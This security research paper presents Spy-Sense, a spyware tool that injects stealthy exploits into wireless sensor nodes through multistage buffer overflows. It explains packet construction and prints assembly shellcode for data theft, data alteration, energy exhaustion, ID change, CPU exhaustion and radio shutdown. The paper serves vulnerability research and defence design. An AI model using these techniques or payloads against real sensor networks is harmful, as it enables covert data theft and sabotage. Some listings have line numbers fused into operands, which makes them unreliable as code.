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ABSTRACT
As the domains of pervasive computing and sensor network-
ing are expanding, a new era is about to emerge, enabling
the design and proliferation of intelligent sensor-based ap-
plications. At the same time, sensor network security is a
very important research area whose goal is to maintain a
high degree of confidentiality, integrity and availability of
both information and network resources. However, a com-
mon threat that is often overlooked in the design of secure
sensor network applications is the existence of spyware pro-
grams. As most works try to defend against adversaries who
plan to physically compromise sensor nodes and disrupt net-
work functionality, the risk of spyware programs and their
potential for damage and information leakage is bound to
increase in the years to come.

This work demonstrates Spy-Sense, a spyware tool that al-
lows the injection of stealthy exploits in the nodes of a sensor
network. Spy-Sense is undetectable, hard to recognize and
get rid of, and once activated, it runs discretely in the back-
ground without interfering or disrupting normal network op-
eration. It provides the ability of executing a stealthy exploit
sequence that can be used to achieve the intruder’s goals
while reliably evading detection. To the best of our knowl-
edge, this is the first instance of a spyware program that is
able to crack the confidentiality and functionality of a sensor
network. By exposing the vulnerabilities of sensor networks
to spyware attacks, we hope to instigate discussion on these
critical issues because sensor networks will never succeed
without adequate provisions on security and privacy.
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1. BACKGROUND AND MOTIVATION
Recent technological advances in sensing, computation, stor-
age, and communications, enabled the design and prolifera-
tion of new intelligent sensor-based environments in a vari-
ety of application domains, ranging from military to civilian
and commercial ones. It is expected that their adoption
will spread even more in the future and WSNs will soon
become as important as the Internet. Just as the Web al-
lows easy access to digital information, sensor networks will
provide vast arrays of real-time, remote interaction with the
physical world. Ongoing trends include their integration in
smart environments [1, 2, 3], structural and environmental
monitoring [4, 5, 6, 7], participatory sensing [8, 9], smart
grids [10, 11], assistive healthcare [12, 13] and so on.

At the same time, sensor network security is a widely re-
searched area with solutions mainly focusing on securing in-
formation and resources, as well as maintaining confidential-
ity, integrity and availability of data. Most of the currently
proposed defense mechanisms try to counteract the disas-
trous threat of the most important security issue in WSNs;
node compromise spread [14, 15]. Sensor nodes are typically
unattended and subject to security compromise, upon which
the adversary can obtain the secret keys stored in the nodes,
and use the compromised nodes to launch insider attacks.
Originating from a single infected node, such a compromise
can propagate further in the network via communication
links and pre-established mutual trust.

As opposed to “strong” node-compromise defenses (code at-
testation [16, 17], malware detection [18], intrusion detec-
tion [19, 20]) that has been a very active area of research,
there has been very little research on memory related vul-
nerabilities. As sensor nodes are deeply embedded wireless
computing devices, it is possible for an attacker to run unau-
thorized software on them. The only previous work in this
area focused on trying to prevent transient attacks that can
execute sequences of instructions present in sensor program
memory [21]. However, permanent code injection attacks are
much more powerful: an attacker can inject malicious pro-
grams in order to take full control of a node, change and/or
disclose its security parameters upon will. As a result, an
attacker can hijack a network or monitor its activities.
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Motivated by this unexplored security aspect, we demon-
strate Spy-Sense, a spyware tool that can be useful not
only in highlighting the importance of defending sensor net-
work applications against permanent code injection attacks
but also in studying the severity of their effects on the sen-
sor network itself. This in turn can lead to the development
of more secure applications and better detection/prevention
mechanisms.

Spy-Sense allows remote injection, through specially crafted
messages, of various code exploits in the heart of each node
in a sensor network. Once injected, it is undetectable, hard
to recognize and get rid of (as it remains idle in an un-
used memory region), and when activated, it runs in a dis-
crete background mode without interfering or disrupting
normal network activities. It gives an attacker the ability
to threaten network security through the execution of in-
jected stealthy exploits. Exploits are sequences of machine
code instructions that cause unintended behavior to occur on
the host sensor. Examples of loaded Spy-Sense exploits in-
clude data manipulation (theft and/or alteration), cracking
(energy exhaustion, change of node IDs), network damage
(radio communication faults or break downs, system shut
downs), etc. Additionally, exploits may run periodically al-
lowing adversaries to continuously spy on nodes’ activities
(more information can be found in Section 3.3).

The intuition behind this work is to introduce the notion of
spyware programs in sensor networks and highlight their dis-
astrous effects on their security profile in terms of functional-
ity, content and transactional confidentiality. Content con-
fidentiality is to ensure that no external entity can infer the
meaning of the messages being sent whereas transactional
confidentiality involves preventing adversaries from learning
information based on message creation and flow within the
network. Our tool is capable of threatening all of the above
since even in its most benign form, it can simply consume
CPU cycles and network bandwidth.When utilized fully, it
can lead to stolen cryptographic material and other criti-
cal application data, breaches in privacy, and the creation
of “backdoor” entries that adversaries can use to target the
network with more direct attacks [22] (Sinkhole attack [23],
Replay attack [24], Wormhole attack, etc.).

Our Contribution
Even though research in spyware programs against several
types of networks has increased significantly over the years,
existing literature in sensor networks is very limited. To the
best of our knowledge, this is the first instance of a spyware
tool that allows the execution of a number of stealthy ex-
ploits threatening the security, privacy and functionality of
such networks. Our contribution is twofold:

First, we describe an implementation that further advances
the use of “multistage buffer-overflow attacks” in order to
inject and execute arbitrarily long code (exploits) in sen-
sor devices following the Von Neumann architecture (Tmote
Sky [25], Telos [26], EyesIFX [27]). By sending a number of
specially crafted packets, Spy-Sense bypasses any code size
limitation and its effectiveness does not rely on pre-existing
instruction sequences in program’s memory as opposed to
any previous work in code injection attacks. Second, we put
out the code of all provided exploits that an adversary needs

to inject into a sensor node before activation. This reveals
all sensor network vulnerabilities that can be targeted by
sophisticated attack tools such as Spy-Sense.

By publishing such a tool, we wish to shed light on revealing
the effects of such programs in the network itself as well as
highlighting all the weaknesses that make them susceptible
to these kind of threats. We thus expect that our work will
be particularly useful in the design and implementation of
more efficient security protocols.

Paper Organization
The remainder of this paper is organized as follows. Sec-
tion 2 gives a high level description of Spy-Sense, what it
can do and how it threatens sensor network security. Sec-
tion 3 is the heart of this work; it gives an overview of the
tool’s architecture along with a detailed description of all im-
plemented system components. Assembly code description
of all Spy-Sense provided exploits is presented in Section 4.
Finally, Section 5 concludes the paper.

2. WHAT IS SPY-SENSE
As the name suggests, Spy-Sense is malicious software that
“spies” on sensor node activities and relays collected infor-
mation back to the adversary. It can install remotely, se-
cretly, and without consent, a number of stealthy exploits
for threatening the network’s security profile. Example of
exploits include data manipulation, cracking and network
damage (Table 1). As the total size of these exploits (312
bytes) is very small, Spy-Sense can be easily and rapidly
injected into the nodes of a sensor network.

Typically, a sensor node is compromised via a software vul-
nerability (e.g., buffer overflow, format string specifier, inte-
ger overflow, etc.) that allows sequences of code instructions
to be injected and stored anywhere in the mote’s memory.
They occur when a malformed input is being used to over-
write the return address stored on the stack in order to trans-
fer program control in code placed either in a buffer or past
the end of a buffer. Since all sensor nodes execute the same
program image and reserve the same memory addresses for
particular operations (as the result of only static memory
allocation support), finding such a vulnerability can leave
the entire network exposed to exploit injection and not just
a small portion of it.

Spy-Sense exploits will reside in a continuous memory region
in the host sensor platform. They can operate in stealth
mode as they are programmed to change and restore the
flow of the system’s control in such a way so that they
don’t let the underlying micro-controller go into an unsta-
ble state. These exploits make use of the existence of an
empty memory region reserved to be used as the heap for
dynamic memory allocation. Since commercial sensor plat-
forms do not support dynamic allocation of memory during
runtime, this address region between the heap and the stack
will remain empty, unused and unchecked during program
execution. This works as an umbrella of all the exploits
masquerading their existence and reliably evading detection.
Furthermore, it results in a permanent exploit injection; the
micro-controller’s main logic does not perform any actions
on the heap region, and thus, the only way of erasing heap
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Table 1: Spy-Sense Stealthy Exploits

Exploit Description Size (bytes)

Data Theft Report back important or confidential information. 114
Also, track and record all network activities.

Data Alteration Alter the value of existing data structures and variables. 56
Energy Exhaustion Initiate communications until node drains all its energy. 102
Radio Communication Shut down radio transceiver or make the node believe that the 8
Break Down transmission failed (regardless of what is the actual result).
Resource Usage Consume CPU cycles by putting the node in a “sustain” loop 22

for a user-determined period of time.
ID Change Dynamically change the ID of a node, thus affecting the routing 10

process.

contents is by physically capturing a node and forcing it to
“hard” reset itself.

All spying software can be easily deployed using the wireless
networking nature of the targeted sensor network. There-
fore, blocks of the exploit code are sent as data payload of
a message. However, in order to bypass the limitation of
a single allowed packet size (default packet payload is 28
bytes), a series of messages must be sent containing all code
instructions that constitute the injected exploit. Spy-Sense
automatically takes care of the construction and transmis-
sion of the necessary message stream by performing a “mul-
tistage buffer-overflow attack” [28]. It manipulates the heap
target address pointer and modifies the data it points to. So,
by sending a number of specially crafted packets that result
in consecutive buffer overflows, it copies shellcode from one
memory location (payload of received message) to another
(heap region pointed by the selected address pointer). Even-
tually, it manages to have the entire exploit code stored in
a continuous memory region.

Once the multistage buffer overflow attack is complete, Spy-
Sense would have succeeded to remotely inject all exploits
in a sensor node where they will remain idle until activa-
tion. Activation requires from an adversary to send one last
specially crafted packet that redirects the control flow (pro-
gram counter) to the beginning of the injected shellcode,
so that it can be executed in stealth mode. Execution can
occur as many times as needed in order to achieve the in-
truder’s goals. More information on how Spy-Sense sets up
and deploys exploit shellcodes can be found in Section 3.2.

2.1 Impact to Sensor Networks
The threat that is imposed by Spy-Sense to the host network
is that of any spyware program: injected shellcodes are hid-
den, they are difficult to detect and can collect small pieces
of information without the knowledge of the network’s own-
ers. Spy-Sense can be used for cracking the network and
creating “botnets” of compromised nodes that are commonly
controlled by the adversary. This leads not only to possible
loss of important data (e.g., cryptographic material, envi-
ronmental data, etc.) but also to intensive resource usage.

One of Spy-Sense’s most severe effects is data manipula-
tion, the ability to steal and/or modify important or confi-
dential information. Examples include cryptographic keys,
transactional data or even private sensitive information in
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Figure 1: Spy-Sense spyware Architecture Layout.

the case of smart environments or assistive healthcare sce-
narios. An extension to this “spying” behavior is the abil-
ity to track and record all network activities. Any data or
log files reported back to the adversary are transmitted in
stealth mode, through the used communication channel, but
in periods of light network traffic in order to look less con-
spicuous and avoid detection.

In addition to capturing and altering data, Spy-Sense can
create “backdoor” entries that adversaries can use to tar-
get the network with more direct attacks. For example, it
can change the ID of a node or inject ghost network nodes
in order to perform attacks like Sinkhole, Wormhole, Data
Replay, Zombie attack, etc., in an attempt to bypass or con-
fuse any existing network defense mechanism. If Spy-Sense
is used in combination with sophisticated attack tools like
the one presented in [29], it significantly increases its threat
level and the severity of its effects on the network itself.

Finally, network performance and functionality can also suf-
fer as Spy-Sense can be used to inject shellcodes that result
in intensive resource usage and disruption of the network’s
normal operation. For example, the provided energy ex-
haustion exploit, once activated, it initiates unnecessary
communications and waits until the node drains all its en-
ergy out. Another possible network disruption exploit is the
one causing radio communications break down. This
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Figure 2: Spy-Sense Home central page.

explot either shuts down the nodes’ radio transceiver or let
the transmission occur but make the originating node be-
lieve that it actually failed, leading it to an infinite loop of
re-transmission attempts.

Overall, the fact that Spy-Sense can inject and activate
stealthy exploits in sensor nodes without the network’s knowl-
edge, makes it a particular threat to its security profile since
it can cause harm in a variety of ways. Thus, the threat
level of such a tool can be considered as high as the one of
viruses, Internet worms and spyware programs in traditional
networking environments.

3. SPY-SENSE ARCHITECTURE LAYOUT
Spy-Sense is based on an intelligent component-based sys-
tem. The hosted components are capable of loading pre-
defined exploit profiles, injecting them to the targeted net-
work through a transparent transmission of a series of spe-
cially crafted messages, receiving and logging of all node
replies that report back requested system information. Its
core functionality is based on four main conceptual modules,
as depicted in Figure 1.

One of the key design goals of Spy-Sense is its wide applica-
bility; it supports exploit injection attacks and compromise
of a wide variety of sensor hardware and network protocols.
It can exploit all vulnerabilities and weaknesses arising from
a specific platform despite the followed memory architecture
(Von Neumann and Harvard) since subsequent code injec-
tion can be performed in either of them, as demonstrated
in [18, 30]. Furthermore, while capturing and logging of all
node replies is performed in real time, content analysis can
be done either online or offline. We believe that offline analy-
sis provides a better way of extracting information regarding
network activities and information patterns. In what follows
we give a more detailed description of the four basic system
components.

3.1 Spy-Sense Exploit Loader Component
The exploit loader is responsible for initializing the software
by importing all predefined exploit profiles that reside in

the Spy-Sense root folder. Such profiles contain the (i) ma-
chine code instructions that will be injected into the host
sensor node, and (ii) their symbolic representation written
in assembly language. Exploit loading and registration can
occur anytime during Spy-Sense operation; either upon sys-
tem boot up or during normal operation by updating the
contents of the corresponding storage folder. The path to
this folder is configurable and can be altered by the user
through the Spy-Sense central page, as depicted in Figure 2.

All exploit code instructions are contained in files and are
loaded one at a time. This is the most convenient and
platform-independent way for a user to define his/her own
exploit profiles that need to be imported in Spy-Sense. Again,
new additions can either be performed at boot up time or
during system operation.

By default Spy-Sense (in its current version) provides all
the exploits listed in Table 1. A more detailed description
of their profiles can be found in Section 4.

3.2 Spy-Sense SetUp Engine
This powerful component is able of deploying imported ex-
ploits to a selected portion of network nodes. It comes into
play once the Spy-Sense Exploit Loader has successfully fin-
ished loading and registration of any predefined malicious
shellcodes. Conceptually, the setup engine communicates
internally with an exploit payload constructor module for
creating the appropriate message stream needed to hold all
machine code instructions.

The constructed series of malicious packets are transmitted
to the target node in order to inject the selected instruction
sequence into its memory. Fundamental to this operation is
the definition of an address pointer, namely ADDRcopyTo,
which points to an appropriate memory address (inside the
heap region) where the code will be stored. Each one of
the packets manages to redirect the host’s normal execution,
through a buffer overflow, to the address of the received mes-
sage payload in order to execute the code contained within.
This results in copying blocks of malicious code to the region
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(a) (b)

Figure 3: Spy-Sense screenshots. (a) SetUp Engine for injecting exploits (b) Exploit Activation component
for executing deployed shellcodes.

pointed by the target address. After the successful comple-
tion of the injection process, k bytes (k is multiple of 2) of
code will have been copied into the target region. These
bytes must be stored in k/2 consecutive memory addresses,
starting from where the ADDRcopyTo points at the time.
Thus, after each copy procedure the target address must be
incremented by an offset of 2 in order to point to the next
memory address. Additionally, to avoid bringing the sensor
device to an inconsistent state, it is important to restore con-
trol flow, as if program instructions were executed normally.
This is handled automatically by SpySense.

Overall, the exploit payload constructor creates packets con-
sisting of three parts. The first part provides the data for
buffer overflow, as well as the memory address (where the
buffer of received messages is stored), at which the program
flow will be directed. The second part provides the necessary
MOV instructions for copying blocks of the exploit code to
the heap target region. Finally, the third part provides the
BR(anch) command for restoring the original flow.

All of the above described actions are handled by the user
through the Spy-Sense’s graphical user interface. As de-
picted in Figure 3(a), once an exploit is selected, the user
is presented with two options: either inject the contained
shellcode or preview the created message stream holding the
machine code instructions. In the first case, the setup engine
starts a sequential, transparent transmission of the specially
crafted messages created by the payload constructor mod-
ule. Upon completion, an appropriate message is displayed
for informing the user on the result of the injection attempt.
In the second case, a preview of all message payloads (that
are ready for transmission) is printed to the corresponding
exploit information panel.

Prior to the selection of any of these actions, it is mandatory
for the user to update all the exploit injection process set-
tings: (i) the ID of the targeted sensor node, (ii) the value
of ADDRcopyTo address, and (iii) the memory addresses re-
served for holding any “exploit function arguments”. Such
arguments describe the number of bytes and the target mem-
ory address from where/to data will be retrieved/injected,
the identifier of the spawned exploit task or the time period
that the host node will enter into an intensive resource usage
state.

Once these settings are configured, the user can successfully
start deploying any of the loaded Spy-Sense exploits. Status
and additional information regarding the currently running
injection process, are displayed in real time by the system
visualization component.

3.3 Spy-Sense Exploit Activation Component
Once the transmission process is completed, the Spy-Sense
setup engine has succeeded to remotely inject exploit shell-
codes into the targeted sensor network. Then, the only step
remaining, is to activate the malware in order to execute its
functions. This is where the exploit activation component
comes into life (Figure 3(b)). It handles the last messages
that need to be sent for activating a selected exploit to one
or more of the host sensor nodes.

Figure 4: Exploit replies reported back. Payload
content storage and visualization.

The activation process requires the transmission of a series
of specially crafted packets for redirecting the program flow
to the beginning of the exploit shellcode, in the heap target
region (ADDRstartTr), so that it can be executed. Again,
the exploit payload constructor module is responsible for cre-
ating such a message stream containing: (i) the values of the
selected“exploit function arguments”, and (ii) a BR instruc-
tion that is executed for setting the instruction pointer to
the starting address of the target region, ADDRstartTr.

Activation may result to one-time or recursive exploit exe-
cution by firing an internal periodic task. In the first case,
the targeted exploit returns to an idle state, after execution,
and waits for the next activation message. In the second
case, a periodic “activation task” is spawned and every time
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(a)

(b)

Figure 5: Exploit traffic reported back. (a) Overall incoming exploit traffic. (b) Replies reported from each
of the host sensor nodes.

it fires, it signals the exploit payload constructor module to
repeat the transmission of the corresponding exploit message
stream.

Such tasks are really helpful for “spying” on network activi-
ties as Spy-Sense takes care of all subsequent transmissions
and receptions. All replies that are reported back from the
targeted sensor nodes are logged, stored in an underlying
database (for better offline analysis), and displayed through
the system visualization component, as illustrated in Fig-
ure 4. Message structure, payload content and time of re-
ception are provided to the user along with a number of
operators for acting on them.

Figure 6: Spy-Sense Visualization. Exploits injec-
tion and running status, IDs of host sensors and
number of pending tasks.

3.4 Spy-Sense Visualization Component
The visualization component displays, in real time, all nec-
essary information related to the imported exploits, their
injection and running status, the IDs of host sensors and
the number of pending activation tasks. Everything is dis-
played in a friendly graphical user interface. For example,
the overall incoming exploit traffic and reported replies (by
each targeted node) are monitored by continuous graphs, as

shown in Figures 5(a) and (b), respectively.

The core functionality implemented by this user interface
is the maintenance and update of a “history profile”, where
all the above described information is kept. A snapshot of
such a system history is shown in Figure 6. One of the most
important pieces of information kept here is the type and
number of exploits that have successfully been performed
on a portion of network nodes. As the time goes on, adver-
saries can collate incoming reply contents with such statis-
tics for extracting useful patterns about network activity,
loaded applications and the way that sensor nodes interact
with the administrative base station.

4. EXPLOIT ANALYSIS & MACHINE CODE
BREAK DOWN

As we described in Section 2.1, Spy-Sense (in its current
version) provides a list of predefined exploits capable of per-
forming data manipulation, cracking and network damage.
Fundamental to a successful exploit injection and activation
is the definition of a memory symbol table describing where
in the host’s memory the injected shellcode, along with its
“function arguments”, will be stored (Table 2). The symbol
table is a list of all the absolute memory addresses that are
used by Spy-Sense SetUp engine and are configured by the
user before injection. All provided values depend on the bi-
nary representation of the program image that is loaded in
the sensor node.

Once the memory symbol table is finalized, all shellcode as-
sembler instructions are ready for injection and execution.
The targeted microcontroller register file consists of 16 reg-
isters of 16 bits each, numbered from R0 to R15. The first
four are reserved by the OS whereas the rest are for general
use and will be used by the injected shellcode, e.g., holding
instruction operands or function arguments. In what fol-
lows we will cover the details of all instruction sequences,
contained in each one of the malwares, and how they are
executed by the host scheduler.
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Table 2: Spy-Sense memory symbol table.

Memory Address Description

ADDRstartTR First instruction of the exploit shellcode.
ADDRpacketSent Reply message to be reported back (data theft exploit).
ADDRpayloadSent Address pointer the the reply message’s payload (data theft exploit).
ADDRrestore Code instruction of the reception routine that must be executed once the program flow is restored
ADDRexploitArg1 First exploit function argument ; number of bytes to be injected/retrieved.
ADDRexploitArg2 Second exploit function argument ; memory address from where/to data will be retrieved/injected.
ADDRexploitArg3 Third exploit function argument ; identifier of the spawned exploit activation task.
ADDRexploitArg4 Fourth exploit function argument ; time period of the intensive resource usage exploit.

4.1 Data Manipulation Exploits
Data manipulation exploits include shellcodes for data theft
and data modification. Data theft code occupies 114 bytes
and, thus, 30 packets will be needed by the setup engine
for injecting it into the heap target region. Two functions
are involved in the data theft: (i) retrieval of the selected
data memory region, and (ii) construction and transmission
(back to Spy-Sense) of the appropriate reply message that
will hold the extracted information.

Algorithm 1: Data Theft Exploit - Assembly Code

Data: Memory Symbol Table
begin

CLR R91

MOV #ADDRpayloadSent, R132

MOV #0036, R143

MOV @R9, 0(R13)4

INCD R135

ADD #-2, R146

CMP #0, R147

JNZ $-148

CALL #ADDRnextHop9

MOV R15, &ADDRpayloadSent10

MOV #1, &(ADDRpayloadSent + 4)11

MOV &ADDRexplArg3, &(ADDRpayloadSent + 6)12

MOV &ADDRexplArg2, R913

MOV #(ADDRpayloadSent + 8), R1314

MOV &ADDRexplArg1, R1415

MOV @R9, 0(R13)16

INCD R917

INCD R1318

ADD #-2, R1419

CMP #0, R1420

JNZ $-1621

MOV #ADDRpacketSent, R1222

MOV #001e, R1323

MOV #ADDRpayloadSent, R1424

MOV #000f, R1525

CALL #68fe // host transmitter26

CMP.B #1, R1527

JNZ $428

CALL #ae1629

CLR &ADDRexplArg130

CLR &ADDRexplArg231

CLR &ADDRexplArg332

BR #ADDRrestore, PC33

end

Algorithm 1 contains the complete assembly code of the data

theft exploit. It is a chain of instruction sets (IS) each one
of them designated for a specific operation. Instructions
1− 8 initialize the payload of the reply message to be sent,
whereas instructions 9− 21 copy the retrieved values to the
memory addresses pointing to the payload starting from ad-
dress ADDRpayloadSent. Finally, instructions 22−28 are re-
sponsible for actually transmitting the reply packet through
the host’s local transmitter. The invocation of this operation
requires the upload of proper arguments through registers
R12-R15 (IS 22− 25). The last instruction restores the nor-
mal state and program flow of the host node, as if program
instructions were executed normally. This masquerades the
exploit activation and reliably evades detection.

The code for data modification occupies 56 bytes and, thus,
14 packets will be needed for injecting it. As the name sug-
gests, it gives an adversary the ability to secretly modify
the value of an existing memory data structure. This may
involve the alteration of either incoming or outgoing infor-
mation, and can be as small as manipulating a single byte or
an entire data stream. Since this kind of data interference
may not be that obvious to the system host, such exploits
can induce great damage to the targeted network.

Algorithm 2: Data Alteration Exploit - Assembly Code

Data: Memory Symbol Table
begin

CMP #0, &ADDRexplArg11

JZ $342

CLR R113

MOV &ADDRexplArg2, R124

MOV #270e, R135

MOV &ADDRexplArg1, R146

MOV R11, R97

MOV R9, R88

ADD R12, R99

ADD R13, R810

MOV @R8, 0(R9)11

INCD R1112

MOV R11, R913

CMP R14, R914

JNC $-2015

CLR &ADDRexplArg116

CLR &ADDRexplArg217

CLR &ADDRexplArg318

CALL #ae1619

BR #ADDRrestore, PC20

end
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Algorithm 2 contains the complete data alteration code. Re-
quested arguments are: (i) the memory address pointing to
the data structure to be modified, and (ii) the buffer with
the new value that will overwrite the existing one. Instruc-
tions 3−15 are actually responsible for copying the updated
value to the targeted data variable stored in the host system.

4.2 Cracking Exploits
Cracking exploits include shellcodes for energy exhaustion
and manipulation of the host node ID. Energy exhaustion
code occupies 102 bytes and, thus, 26 packets will be needed
by the setup engine for injecting it into the heap target re-
gion. The main logic involves the initiation of unnecessary
communications until the host node drains all its energy out.

Algorithm 3: Energy Exhaustion Exploit - Assembly Code

Data: Memory Symbol Table
begin

CLR R61

MOV #ffff, ADDRpayloadSent2

MOV #ffff, (ADDRpayloadSent + 4)3

MOV #ffff, (ADDRpayloadSent + 6)4

MOV #118a, R95

MOV #(ADDRpayloadSent + 8), R136

MOV #001c, R147

MOV @R9, 0(R13)8

INCD R99

INCD R1310

ADD #-2, R1411

CMP #0, R1412

JNZ $-1613

MOV #ADDRpacketSent, R1214

MOV #0020, R1315

MOV #ADDRpayloadSent, R1416

MOV #000f, R1517

CALL #68fe // host transmitter18

CMP.B #1, R1519

JNZ $2420

CLR R621

MOV.B #0001, R1522

MOV #0005, R823

CALL #ADDRSchedulerRunTask24

DEC R825

CMP #0, R*26

JNZ $-1027

CALL #ae1628

JNZ $-4829

INC R630

CMP #0064, R631

JNZ $-3032

BR #4000, PC33

end

Algorithm 3 contains the corresponding assembly code. In-
structions 2 − 13 are the first part of the IS responsible for
broadcasting unnecessary dummy packets. Packet payloads
occupy the maximum default size of 28 bytes by copying
random sequences of data bytes residing in the programs
memory. Continuing to the second part of this IS, instruc-
tions 14− 20 invoke the transmission function for using the
host’s local radio. Once this is called, all the necessary data
arguments are loaded (from the corresponding registers) and

a task is posted for the underlying microcontroller scheduler.
This task is actually a deferred procedure call. Final instruc-
tions 21−29 force the scheduler to run this task by invoking
the runTask routine which actually broadcasts the packet.

The above instruction sets are repeated as many times as
needed for the malware to drain the host’s energy out. Once
this is achieved, the last instruction is executed for forcing
the node to shut down. This is done by invoking the internal

stop ProgExec routine which, in many program images,
is stored in the memory address b368h.

The ID change code occupies only 10 bytes and, thus, 3
packets will be needed for injecting it. This shellcode is
relevant to the data alteration exploit since it manipulates
the value of the data pointer reserved for holding the host’s
local ID. Algorithm 4 contains the complete assembly code.
As we can see, it updates the value of the data start
reserved ID variable with the one specified by the user as a
function argument.

Algorithm 4: ID Change Exploit - Assembly Code

Data: Memory Symbol Table
begin

MOV &ADDRexplArg2, &ADDRlocalID1

BR #ADDRrestore, PC2

end

4.3 Network Damage Exploits
Network damage exploits include shellcodes for intensive re-
source usage and radio communication break downs. Re-
source usage code occupies 22 bytes and, thus, 6 packets will
be needed for injecting it into the heap target region. The
main logic requires two loop-throughs for consuming CPU
cycles. The outer loop is always set to the highest possible
2-byte integer value, ffffh, whereas the inner loop is con-
figurable and defines the actual time spent in this intensive
cycle usage state.

Algorithm 5: Intensive Resource Usage Exploit - Assembly
Code
Data: Memory Symbol Table
begin

MOV #ffff, R141

MOV &ADDRexplArg4, R132

DEC R133

CMP #-1, R134

JNZ $-65

DEC R146

CMP #-1, R147

JNZ $-168

BR #ADDRrestore, PC9

end

Algorithm 5 contains the complete assembly code. The re-
quested argument, ADDRexplArg4, holds the time that the
host node will be “stuck” at the exploit sustain level (SL)
and depends on the value of the inner loop (IL). After ex-
periments, we have found that the average time (in seconds)
wasted is given by the expression SL = 0.0062 ∗ IL.

The radio communication break down code occupies 8 bytes
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and, thus, 2 packets will be needed for injecting it. This ex-
ploit is capable of disrupting the underlying network com-
munications by making the originating nodes believe that
transmissions failed (regardless of the actual result), leading
them to an infinite loop of re-transmission attempts.

Algorithm 6: Radio Communication Break Down Exploit
- Assembly Code

Data: Memory Symbol Table
begin

MOV.B &ADDRexplArg2, &ADDRradioStopRequest1

BR #ADDRrestore, PC2

end

Algorithm 6 contains the corresponding assembly code. Again,
this shellcode is relevant to the data alteration exploit since
it manipulates the value of the data pointer reserved for
holding the current state of the antenna. By changing the
value of the RadioM$bShutDownRequest variable to 1 (ac-
tive) or 0 (inactive), the user can set the state of transmis-
sions and reception attempts.

4.4 User Defined Exploits
All the above described exploit shellcodes are provided by
the current version of Spy-Sense. They reside in the corre-
sponding root folder and they are imported by the system
exploit loader component.

However, as we described in Section 3.1, it is possible for
an adversary to define her own new exploit profiles. This
requires the creation of a file, containing all the exploit code
instructions, inside the Spy-Sense exploit folder. Further
loading and registration will be taken care by the tool either
upon system boot up or during normal operation. The path
to this folder is configurable and can be altered by the user
through the Spy-Sense central page, as depicted in Figure 2.

5. CONCLUSIONS
In this work, we have identified some of the sensor net-
works vulnerabilities that can be exploited by an attacker for
launching permanent code injection attacks and, eventually,
spyware programs. Spying is an invasion of privacy that can
lead to serious repercussions if the data collected lands into
unscrupulous hands. We have demonstrated the disastrous
effects of such malware to the host network by building Spy-
Sense, the first instance of a spyware tool capable of compro-
mising a sensor network’s confidentiality and functionality.
Spy-Sense is undetectable, hard to recognize and get rid of,
and once activated, it runs in a discrete background oper-
ation without interfering or disrupting normal network op-
eration. It provides the ability of executing stealthy exploit
sequences that can be used in a variety of attacks ranging
from retrieving or manipulating sensitive network data to
shutting down a node entirely!

By studying the after-effects of various exploits on the net-
work itself, we wish to motivate a better design of security
protocols that can make them even more resilient to tools
like Spy-Sense. Wireless sensor network security is an im-
portant research direction and tools like the current one may
be used in coming up with even more attractive solutions for
defending these types of networks.
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